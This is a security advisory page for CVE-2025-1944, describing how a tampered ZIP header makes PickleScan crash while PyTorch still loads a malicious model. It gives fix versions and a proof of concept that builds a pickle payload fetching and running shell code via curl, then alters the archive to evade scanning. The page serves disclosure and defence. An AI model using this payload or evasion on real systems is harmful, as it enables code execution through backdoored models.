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GHSA-7q5r-7gvp-wc82 CVE-2025-1944 PYSEC-2025-20

Zip Exploit Crashes Picklescan But Not PyTorch

Medium PyPI
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 26.18% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-345 Insufficient Verification of Data Authenticity
Fix
0.0.23
Upgrade picklescan to this version or later

Description

Summary

PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

Details

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

PoC

import os
import torch

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)


model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)

# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
    data = f.read()

# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)

# Write back the modified content
with open(file, "wb") as f:
    f.write(modified_data)

# Load the infected model
torch.load(file)  

Impact

Severity: High

  • Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.

  • What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.

  • Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.

Recommendations

  • Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.

  • Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

Affected versions

PyPI

PackageVulnerableFixed in
picklescan
< 0.0.23
0.0.23
picklescan
< 0.0.23
0.0.23

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

picklescan PyPI → 0.0.23

pip
pip install --upgrade "picklescan>=0.0.23"
poetry
poetry add "picklescan>=0.0.23"
uv
uv add "picklescan>=0.0.23"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g38g-8gr9-h9xp
PickleScan has multiple stdlib modules with direct RCE not in blocklist
Critical Also affects picklescan
GHSA-vvpj-8cmc-gx39
PickleScan's pkgutil.resolve_name has a universal blocklist bypass
Critical Also affects picklescan
GHSA-7wx9-6375-f5wh
PickleScan's profile.run blocklist mismatch allows exec() bypass
Critical Also affects picklescan
GHSA-97f8-7cmv-76j2
Picklescan (scan_pytorch) Bypass via dynamic eval MAGIC_NUMBER
High Also affects picklescan
GHSA-m7j5-r2p5-c39r
picklescan vulnerable to arbitrary file create using logging.FileHandler
Medium Also affects picklescan
GHSA-9m3x-qqw2-h32h
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Critical Also affects picklescan
GHSA-9726-w42j-3qjr
picklescan has Arbitrary file read using `io.FileIO`
High Also affects picklescan
GHSA-46h3-79wf-xr6c
Picklescan is vulnerable to RCE via missing detection when calling built-in python _operator.attrgetter
High Also affects picklescan
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